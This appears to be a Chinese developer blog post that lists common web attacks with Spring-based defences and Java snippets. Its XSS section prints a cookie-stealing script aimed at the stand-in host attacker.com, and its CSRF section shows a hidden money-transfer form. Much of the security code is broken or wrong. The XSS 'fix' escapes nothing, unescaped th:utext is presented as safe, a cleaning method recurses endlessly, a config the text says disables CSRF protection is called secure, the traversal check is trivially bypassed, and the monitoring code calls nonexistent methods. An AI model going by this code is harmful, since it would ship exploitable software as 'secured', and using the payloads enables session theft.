| 攻击名； | 攻击描述 | 攻击防护方法 |
|---|---|---|
| SQL注入 | 使用参数化查询，不拼接SQL语句。以JDBC为列。使用PrepareStatement和Statement； PrepareStatement：它是通过预编译的方式来执行SQL语句；Statement：每次执行时都需要编译，如果使用SQL语句进行拼接的话会直接进行SQL语句操作，然后就完蛋咯。 | 1：不拼接SQL语句，优先使用PrepareStatement而不是Statement 2：Mybatis使用queryWrapper和UpdateWrapper。 |
| 脚本（XSS） | 及传入的代码有一部分脚本，当脚本回调为前端时会执行一段相应的脚本代码，此脚本根据相应编写执行后会导致在前端拥有的信息被第三方劫持，具体干嘛：。。。 | 对用户输入进行转义，确保输出到前端的数据是安全的。 |
| 跨站请求伪造（CSRF） | 第三方网站，一般从上一个网站获得到的敏感信息。在下一个网站或请求中使用，此情况下用户信息被盗用发送另一个请求，此情况下假设有支付功能，使用此方法可以实现在用户不知情的情况下进行资金盗用； | 例如在控制器层和服务层使用Spring Security的@EnableWebSecurity注解，并配置CSRF保护。这样可以确保只有受信任的请求才能执行敏感操作。 |
| 暴力破解攻击 | 无限次从0开始到最后执行暴力破解，及一直乱输入密码。列如8位数数字只要9的8次方不到。加入字母大小写。62的8次方 | 使用强密码或者当请求到达一定数量对用户信息进行封锁； |
| 中间人攻击 | 中间人攻击（Man-in-the-Middle Attack，MITM）是一种网络攻击方式，攻击者会在通信双方之间拦截并篡改数据。这种攻击的危险性在于攻击者可以窃取敏感信息，如登录凭据、交易细节等。 | 使用HTTPS，确认敏感信息是在443端口下进行使用的。 |
| 会话固定攻击 | 这种攻击的目的是通过让他人使用攻击者指定的会话标识进行登录，从而获取认证和授权，进而可能劫持他人的会话，造成敏感信息泄露或其他安全风险。 | 使用Spring Security的HttpSession策略：Spring Security提供了一种机制来防止会话固定攻击。当用户成功登录后，可以重新生成Session ID，这样即使攻击者持有旧的Session ID，也无法再利用它来进行攻击。 限制Session ID的长度和复杂性：增加Session ID的长度和复杂性可以使得随机猜测变得非常困难，从而增加安全性。 定期更换Session ID：即使在没有用户登出的情况下，也可以定期更换Session ID，以减少会话被劫持的风险。 |
| 文件上传漏洞 | 攻击者可以上传恶意文件，如木马、病毒或脚本，从而对服务器或网络造成损害。 | 对用户上传文件进行验证，列如图片验证是否为jpg、JPEG、png，不是不允许上传，或者对文件大小进行验证，超过也不允许上传，列如我们很多次上传图片都有对图片大小进行限制。 |
| 目录遍历攻击 | 攻击者通过访问文件目录推导出敏感信息存储位置，然后来遍历服务器文件位置来进行更改下载上传 | 1：确保访问文件路径是合法路径，2：使用绝对定位，不用相对路径 |
| 信息泄露攻击： | 敏感信息在未验证的情况及被访问 | 在控制器中使用Spring Security的@PreAuthorize注解来验证用户权限，确保只有授权用户可以访问敏感信息。 服务层（Service）：在服务层中进一步处理敏感信息，并确保只有授权用户可以访问这些信息 |
| DDOS攻击 | 请求在同一时间一直被发送，使服务器忙于处理此请求，其余服务无法执行，访问超时。 | 防火墙此类进行防止，因为ip肯定不会是一个，肉机来一直访问，此情况下封锁ip用处也不是很大。一般监控异常情况下报告运维或第三方网络安全公司 |
| 碰撞攻击（Collision Attack） | 在哈希函数中，碰撞攻击的目的是找到两个不同的输入值，它们会产生相同的哈希输出。 方式：攻击者通过生成大量的输入值，计算它们的哈希值，并比较哈希输出，以找到具有相同哈希输出的两个不同输入值。一旦被破解加密方法，所有加密信息就是明文，列如雷哥的日记； | 目前md5就是此情况，不安全； 确保使用的哈希函数（如SHA-256）具有抗碰撞的特性。 使用盐值（Salt）：为每个密码添加一个随机的盐值，并将其与密码一起哈希。这样即使两个用户使用相同的密码，它们的哈希值也会不同。 |
-
SQL注入攻击：
-
防御措施：使用参数化查询和存储过程，不要将用户输入直接拼接到SQL语句中。
-
层：在数据访问层（DAO/Repository）使用Spring Data JPA或MyBatis-Plus中的
QueryWrapper和UpdateWrapper来防止SQL注入。
-
-
跨站脚本攻击（XSS）：
-
防御措施：对用户输入进行转义，确保输出到前端的数据是安全的。
-
层：在视图层（Controller）使用Spring的
@RequestParam和@PathVariable注解，确保用户输入不会直接输出到前端。 -
在Spring MVC控制器中，您可以使用
@RequestParam注解来获取用户输入，并在处理数据后使用HttpServletResponse的setContentType方法来设置内容的类型，并使用encodeURL方法来转义URL，以防止XSS攻击。import javax.servlet.http.HttpServletResponse; @Controller public class MyController { @GetMapping("/my-page") public String myPage(HttpServletResponse response, @RequestParam String userInput) { // 设置响应类型为text/plain response.setContentType("text/plain"); // 转义URL中的特殊字符 String escapedUrl = response.encodeURL("my-page?input=" + userInput); // 输出转义后的URL return escapedUrl; } }在模板引擎中，例如Thymeleaf，您可以使用
th:text和th:utext指令来对文本进行转义和未转义输出，以确保输出到前端的数据是安全的。<!DOCTYPE html> <html xmlns:th="http://www.thymeleaf.org"> <head> <title>My Page</title> </head> <body> <p th:text="${userInput}">Default text</p> <p th:utext="${userInput}">Default text</p> </body> </html>在服务层（Service），您可以使用Spring的
MethodSecurityInterceptor来验证和清理输入数据，确保它们在发送到前端之前是安全的。import org.springframework.security.access.prepost.PreAuthorize; import org.springframework.stereotype.Service; @Service public class MyService { @PreAuthorize("hasRole('ADMIN')") public String cleanInput(String userInput) { // 验证和清理输入数据 String cleanedInput = cleanInput(userInput); return cleanedInput; } } 以下是一个简单的例子，展示了如何通过XSS攻击来劫持用户会话： 攻击者创建恶意链接： 攻击者创建一个包含恶意脚本的链接，例如： <script> window.location = "https://attacker.com?userId=<script>document.cookie</script>"; </script> 用户点击链接： 用户在不知情的情况下点击了这个链接。 恶意脚本执行： 恶意脚本被用户的浏览器执行，它会尝试读取并发送当前会话的cookie信息到攻击者的网站。 会话劫持： 攻击者获取了用户的会话信息，从而可以冒充用户进行操作，如登录其他网站、进行敏感操作等。
-
-
跨站请求伪造（CSRF）：
-
防御措施：使用Spring Security的CSRF保护，或者使用Token机制来防止CSRF攻击。
-
层：在控制器层（Controller）使用Spring Security的
@EnableWebSecurity注解，并配置CSRF保护。跨站请求伪造（CSRF）攻击是一种类型的网络攻击，攻击者利用受害者的登录状态在受害者不知情的情况下发起恶意请求。这种攻击的危险性在于它可以导致敏感操作，如转账、修改密码等，因为受害者已经登录了受攻击的网站。
以下是一个简单的例子，展示了如何通过CSRF攻击来劫持用户会话：
-
攻击者创建恶意链接： 攻击者创建一个包含恶意请求的链接，例如：
html
复制
<form action="https://victim.com/transfer-money" method="POST"> <input type="hidden" name="userId" value="12345"> <input type="hidden" name="amount" value="1000"> <input type="hidden" name="token" value="abc123"> <input type="submit" value="Transfer Money"> </form>
-
用户点击链接： 用户在不知情的情况下点击了这个链接。
-
恶意请求执行： 由于用户已经登录了受攻击的网站，恶意请求被发送到受攻击的网站，执行了转账操作。
-
资金转移： 用户的资金被转移到攻击者的账户中。
在这个例子中，CSRF攻击的危险性在于它可以导致敏感操作，如资金转移，因为受害者已经登录了受攻击的网站。
作为后端开发者，你应该采取措施来防止这种攻击，例如在控制器层和服务层使用Spring Security的
@EnableWebSecurity注解，并配置CSRF保护。这样可以确保只有受信任的请求才能执行敏感操作。以下是一个简单的例子，展示了如何在Spring Security中配置CSRF保护：
import org.springframework.context.annotation.Configuration; import org.springframework.security.config.annotation.web.builders.HttpSecurity; import org.springframework.security.config.annotation.web.configuration.WebSecurityConfigurerAdapter; @Configuration public class WebSecurityConfig extends WebSecurityConfigurerAdapter { @Override protected void configure(HttpSecurity http) throws Exception { http //.csrf().disable() 禁用CSRF保护 .authorizeRequests() .antMatchers("/transfer-money").authenticated() // 限制对特定URL的访问 .anyRequest().permitAll() // 其他URL允许所有人访问 .and() .formLogin() // 启用表单登录 .and() .logout() // 启用登出功能 .and() .exceptionHandling() // 配置异常处理 .and() .sessionManagement() // 配置会话管理 .and() .httpBasic() // 启用HTTP基础认证 .and() .apply(myCustomSecurityConfig()); // 应用自定义的安全配置 } @Bean public SecurityConfig myCustomSecurityConfig() { return new SecurityConfig(); } }在这个例子中，我们禁用了CSRF保护，并限制了对特定URL的访问。这样，只有受信任的请求才能执行敏感操作。
-
-
-
暴力破解攻击：
-
防御措施：使用强密码策略，并启用账户锁定机制。
-
层：在服务层（Service）使用Spring Security的
@EnableWebSecurity注解，并配置账户锁定和密码策略。
-
-
中间人攻击：
-
防御措施：使用HTTPS协议，确保通信过程中的数据是加密的。
-
层：在控制器层（Controller）和服务器配置中使用HTTPS。
-
中间人攻击（Man-in-the-Middle Attack，MITM）是一种网络攻击方式，攻击者会在通信双方之间拦截并篡改数据。这种攻击的危险性在于攻击者可以窃取敏感信息，如登录凭据、交易细节等。
防御措施：
-
使用HTTPS协议：确保所有客户端和服务器之间的通信都是加密的。HTTPS使用SSL/TLS协议，这可以防止攻击者窃取或篡改数据。
-
定期更新证书和密钥：确保服务器证书和私钥是最新的，并定期更新，以防止证书被吊销或密钥被泄露。
-
验证证书：客户端应该验证服务器证书的有效性和真实性，确保它是由受信任的证书颁发机构（CA）签发的。
-
使用安全的通信端口：默认的HTTP端口是80，而HTTPS端口是443。确保所有敏感通信都通过HTTPS端口进行。
层：
-
服务器配置层：在服务器配置中启用HTTPS，并配置SSL/TLS证书。
-
控制器层（Controller）：在控制器中确保所有敏感操作都通过HTTPS端口进行。
示例代码：
在Spring项目中，你可以使用Spring Boot的自动配置来启用HTTPS。以下是一个简单的例子：
import org.springframework.boot.SpringApplication; import org.springframework.boot.autoconfigure.SpringBootApplication; import org.springframework.boot.web.servlet.ServletRegistrationBean; import org.springframework.context.annotation.Bean; import org.springframework.web.servlet.DispatcherServlet; @SpringBootApplication public class Application { public static void main(String[] args) { SpringApplication.run(Application.class, args); } @Bean public ServletRegistrationBean dispatcherServlet() { ServletRegistrationBean registrationBean = new ServletRegistrationBean(new DispatcherServlet(), "/"); registrationBean.addInitParameter("throwExceptionIfNoHandlerFound", "true"); return registrationBean; } }在这个例子中，我们配置了一个DispatcherServlet，它将处理所有请求。我们还添加了一个初始化参数，以确保如果没有找到处理程序，则会抛出异常。
请注意，这个例子只是一个简单的示例。在实际应用中，你可能需要更复杂的配置来处理HTTPS。例如，你可能需要配置SSL/TLS证书，并确保所有敏感操作都通过HTTPS端口进行。
-
-
-
会话固定攻击：
-
防御措施：使用基于Token的认证机制，如JWT。
-
层：在控制器层（Controller）和服务层（Service）使用JWT。
-
-
文件上传漏洞：
-
防御措施：限制上传文件的大小和类型，验证文件内容。
-
层：在控制器层（Controller）和服务层（Service）验证文件大小和类型。
-
文件上传漏洞是一种常见的Web应用程序安全问题，攻击者可以上传恶意文件，如木马、病毒或脚本，从而对服务器或网络造成损害。
防御措施：
-
限制上传文件的大小和类型：通过配置Web服务器或应用程序的验证机制来限制上传文件的大小和类型。
-
验证文件内容：对上传的文件进行内容检查，以防止上传恶意文件。这可能包括检查文件扩展名、文件类型、文件内容等。
-
使用白名单和黑名单：根据文件类型和内容创建白名单和黑名单，只允许特定的文件类型和内容通过。
-
限制上传目录的权限：确保上传目录的权限设置合理，防止攻击者上传的文件被执行。
层：
-
控制器层（Controller）：在控制器中验证上传的文件大小和类型，并根据需要拒绝上传。
-
服务层（Service）：在服务层中进一步验证文件内容，确保文件安全。
示例代码：
在Spring项目中，你可以使用Spring MVC的
@RequestMapping注解来处理文件上传请求，并使用MultipartResolver来验证文件大小和类型。以下是一个简单的例子：import org.springframework.http.HttpStatus; import org.springframework.http.ResponseEntity; import org.springframework.web.bind.annotation.PostMapping; import org.springframework.web.bind.annotation.RequestParam; import org.springframework.web.bind.annotation.RestController; import org.springframework.web.multipart.MultipartFile; @RestController public class FileUploadController { @PostMapping("/upload") public ResponseEntity<?> uploadFile(@RequestParam("file") MultipartFile file) { if (file.isEmpty()) { return new ResponseEntity<>("文件不能为空", HttpStatus.BAD_REQUEST); } // 验证文件大小和类型 if (file.getSize() > 1024 * 1024 * 1024) { // 限制文件大小为1GB return new ResponseEntity<>("文件大小超出限制", HttpStatus.BAD_REQUEST); } String fileType = file.getContentType(); // 获取文件类型 if (!fileType.startsWith("image")) { // 限制文件类型为图片 return new ResponseEntity<>("文件类型不支持", HttpStatus.BAD_REQUEST); } // 验证文件内容（例如，使用文件内容分析库） // 这里只是一个简单的示例，实际应用中可能需要更复杂的验证逻辑 // 保存文件 // ... return new ResponseEntity<>("文件上传成功", HttpStatus.OK); } }在这个例子中，我们使用
@RequestParam("file") MultipartFile file来接收上传的文件，并使用file.isEmpty()、file.getSize()和file.getContentType()来验证文件的大小和类型。如果文件不符合要求，我们返回一个错误响应。如果文件通过验证，我们继续处理文件上传。请注意，这个例子只是一个简单的示例。在实际应用中，你可能需要更复杂的验证逻辑来确保文件安全。例如，你可能需要使用文件内容分析库来检查文件内容，以防止上传恶意文件。
-
-
-
目录遍历攻击：
-
防御措施：确保Web应用只能访问受信任的文件和目录。
-
层：在控制器层（Controller）和服务层（Service）验证文件路径。
-
目录遍历攻击（Directory Traversal Attack）是一种Web应用程序安全漏洞，攻击者可以通过修改文件路径来访问Web服务器上不应公开的文件和目录。这种攻击的危险性在于攻击者可以访问敏感文件，如源代码、数据库配置文件等，甚至可以执行系统命令。
防御措施：
-
确保Web应用只能访问受信任的文件和目录：限制用户可以访问的文件和目录路径，确保只有受信任的路径可以被访问。
-
使用绝对路径：在处理文件路径时，始终使用绝对路径，而不是相对路径，以防止攻击者通过相对路径进行目录遍历。
-
验证文件路径：在服务器端验证上传或请求的文件路径，确保它们是合法的，并且不会导致目录遍历。
层：
-
控制器层（Controller）：在控制器中验证文件路径，确保用户只能访问受信任的文件和目录。
-
服务层（Service）：在服务层中进一步验证文件路径，确保它们是合法的，并且不会导致目录遍历。
示例代码：
在Spring项目中，你可以使用Spring MVC的
@RequestMapping注解来处理文件请求，并使用@PathVariable注解来验证文件路径。以下是一个简单的例子：import org.springframework.http.HttpStatus; import org.springframework.http.ResponseEntity; import org.springframework.web.bind.annotation.GetMapping; import org.springframework.web.bind.annotation.PathVariable; import org.springframework.web.bind.annotation.RestController; @RestController public class FileController { @GetMapping("/files/{fileName}") public ResponseEntity<?> getFile(@PathVariable String fileName) { // 验证文件路径 if (fileName.startsWith("../")) { // 防止目录遍历 return new ResponseEntity<>("文件路径不合法", HttpStatus.BAD_REQUEST); } // 处理文件请求 // ... return new ResponseEntity<>("文件已找到", HttpStatus.OK); } }在这个例子中，我们使用
@PathVariable String fileName来接收文件路径，并使用fileName.startsWith("../")来检查文件路径是否以"…/"开头，这通常是目录遍历攻击的迹象。如果文件路径不合法，我们返回一个错误响应。如果文件路径合法，我们继续处理文件请求。请注意，这个例子只是一个简单的示例。在实际应用中，你可能需要更复杂的验证逻辑来确保文件路径安全。例如，你可能需要使用正则表达式来验证文件路径，以确保它们不会导致目录遍历。
-
-
-
信息泄露攻击：
-
防御措施：确保敏感信息不会被未授权访问。
-
层：在控制器层（Controller）和服务层（Service）使用Spring Security来控制访问权限。
-
信息泄露攻击是指攻击者通过各种手段获取到不应被公开的敏感信息，如用户数据、财务信息、商业机密等。这种攻击的危险性在于敏感信息一旦泄露，可能会被用于进一步的攻击或被恶意使用。
防御措施：
-
使用Spring Security控制访问权限：确保只有授权用户可以访问敏感信息，并使用Spring Security来验证用户权限。
-
加密敏感数据：对敏感数据进行加密处理，确保即使数据被泄露，攻击者也无法理解其内容。
-
使用安全的通信协议：确保敏感数据在传输过程中使用安全的通信协议，如HTTPS，以防止数据被窃取。
-
实施数据最小化原则：只收集和存储完成特定任务所需的最小数据量，以减少数据泄露的风险。
-
监控和审计：定期监控和审计系统中的数据访问和传输活动，以检测潜在的信息泄露。
层：
-
控制器层（Controller）：在控制器中使用Spring Security的
@PreAuthorize注解来验证用户权限，确保只有授权用户可以访问敏感信息。 -
服务层（Service）：在服务层中进一步处理敏感信息，并确保只有授权用户可以访问这些信息。
-
-
-
DDoS攻击：
-
防御措施：使用CDN来分散流量，设置合理的防火墙规则。
-
层：在服务器配置中设置防火墙规则，使用CDN服务。
-
对于DDoS攻击的防御，我们通常不会在Spring项目中直接编写防御代码，因为这些防御措施通常是在服务器和网络层面上实施的。然而，我们可以通过监控和报告来协助运维团队。
在
pom.xml中添加以下依赖：xml
复制
<dependency> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-starter-actuator</artifactId> </dependency>接下来，我们可以创建一个
DDoSMonitoringService类，用于监控系统资源并报告异常。java
复制
import org.springframework.stereotype.Service; import org.springframework.boot.actuate.endpoint.annotation.ReadOperation; import org.springframework.boot.actuate.endpoint.annotation.WriteOperation; import org.springframework.boot.actuate.endpoint.annotation.Selector; import org.springframework.stereotype.Component; import java.lang.management.ManagementFactory; import java.lang.management.OperatingSystemMXBean; import java.lang.management.RuntimeMXBean; import java.lang.management.ThreadMXBean; @Service public class DDoSMonitoringService { private final OperatingSystemMXBean osBean = ManagementFactory.getOperatingSystemMXBean(); private final RuntimeMXBean runtimeBean = ManagementFactory.getRuntimeMXBean(); private final ThreadMXBean threadBean = ManagementFactory.getThreadMXBean(); @ReadOperation public Map<String, Object> getDDoSMonitoringData() { Map<String, Object> data = new HashMap<>(); data.put("cpuUsage", osBean.getSystemCpuLoad()); data.put("memoryUsage", runtimeBean.getTotalMemory() - runtimeBean.getFreeMemory()); data.put("threadCount", threadBean.getThreadCount()); // 添加其他监控数据 return data; } @WriteOperation public void reportDDoSAttack(@Selector String cpuUsage, @Selector String memoryUsage, @Selector String threadCount) { // 监控到异常情况，向运维团队报告 // 这里只是一个简单的示例，实际应用中可能需要更复杂的逻辑 String message = "发现异常情况：CPU使用率：" + cpuUsage + "%，内存使用率：" + memoryUsage + "MB，线程数：" + threadCount; // 发送通知或报告到运维团队 // ... } }在这个例子中，
getDDoSMonitoringData方法用于获取系统资源使用情况，并将其作为JSON对象返回。reportDDoSAttack方法用于监控到异常情况时向运维团队报告。我们使用了Spring Boot Actuator的内置功能来获取CPU使用率、内存使用率和线程数。请注意，这个例子只是一个简单的示例。在实际应用中，你可能需要更复杂的监控逻辑来确保系统安全。例如，你可能需要使用第三方监控工具或库来获取系统资源使用情况。
此外，对于DDoS攻击的防御，我们通常依赖于外部服务，如CDN和DDoS防护服务。这些服务通常由专业的网络安全公司提供，它们具有更高级的检测和防御机制来处理DDoS攻击。
-
碰撞攻击（Collision Attack）
手段：
-
目的：在哈希函数中，碰撞攻击的目的是找到两个不同的输入值，它们会产生相同的哈希输出。
-
方式：攻击者通过生成大量的输入值，计算它们的哈希值，并比较哈希输出，以找到具有相同哈希输出的两个不同输入值。
危险：
-
安全性威胁：碰撞攻击可以用于破解哈希密码，因为如果哈希函数存在碰撞，攻击者可以尝试使用已知的哈希值来查找原始密码。
-
隐私泄露：如果攻击成功，它可能导致用户的敏感信息（如密码、信用卡号等）泄露。
防守：
-
使用强哈希函数：确保使用的哈希函数（如SHA-256）具有抗碰撞的特性。
-
使用盐值（Salt）：为每个密码添加一个随机的盐值，并将其与密码一起哈希。这样即使两个用户使用相同的密码，它们的哈希值也会不同。
-
使用密码哈希和存储：使用专门的密码哈希函数（如bcrypt、Argon2）来存储密码哈希，这些函数具有内置的抗碰撞特性。
伪造登录（Fake Login）
手段：
-
目的：攻击者冒充合法用户登录系统，以获取未授权的访问权限。
-
方式
：攻击者可能通过以下方式进行伪造登录：
-
拦截并重放登录请求。
-
社会工程学攻击获取用户的凭证。
-
利用已泄露的凭证。
-
使用自动化工具尝试暴力破解用户凭证。
-
危险：
-
数据泄露：攻击者可以访问用户的敏感信息，如个人数据、财务信息等。
-
业务中断：攻击者可以破坏系统的正常运行，如删除数据、发起拒绝服务攻击等。
-
信誉损害：如果攻击者冒充管理员或其他高级用户，他们可以对系统进行恶意操作，损害组织的信誉。
防守：
-
使用多因素认证（MFA）：除了密码外，要求用户提供第二个验证因素，如手机验证码、U2F安全密钥或电子邮件验证。
-
实施会话管理：确保会话是短暂的，并在一段时间后自动过期。
-
监控异常登录活动：如果检测到来自不同地理位置的登录尝试，可以立即锁定账户。
-
使用HTTPS协议：确保所有客户端和服务器之间的通信都是加密的，以防止凭证被窃取。
-
定期更新密码策略：确保密码复杂度、过期时间和重用策略符合最佳实践。
通过采取这些防守措施，可以显著降低碰撞攻击和伪造登录的风险，并提高系统的安全性。
目前我知道的：欢迎添加。
247
被折叠的 条评论
为什么被折叠?
到【灌水乐园】发言
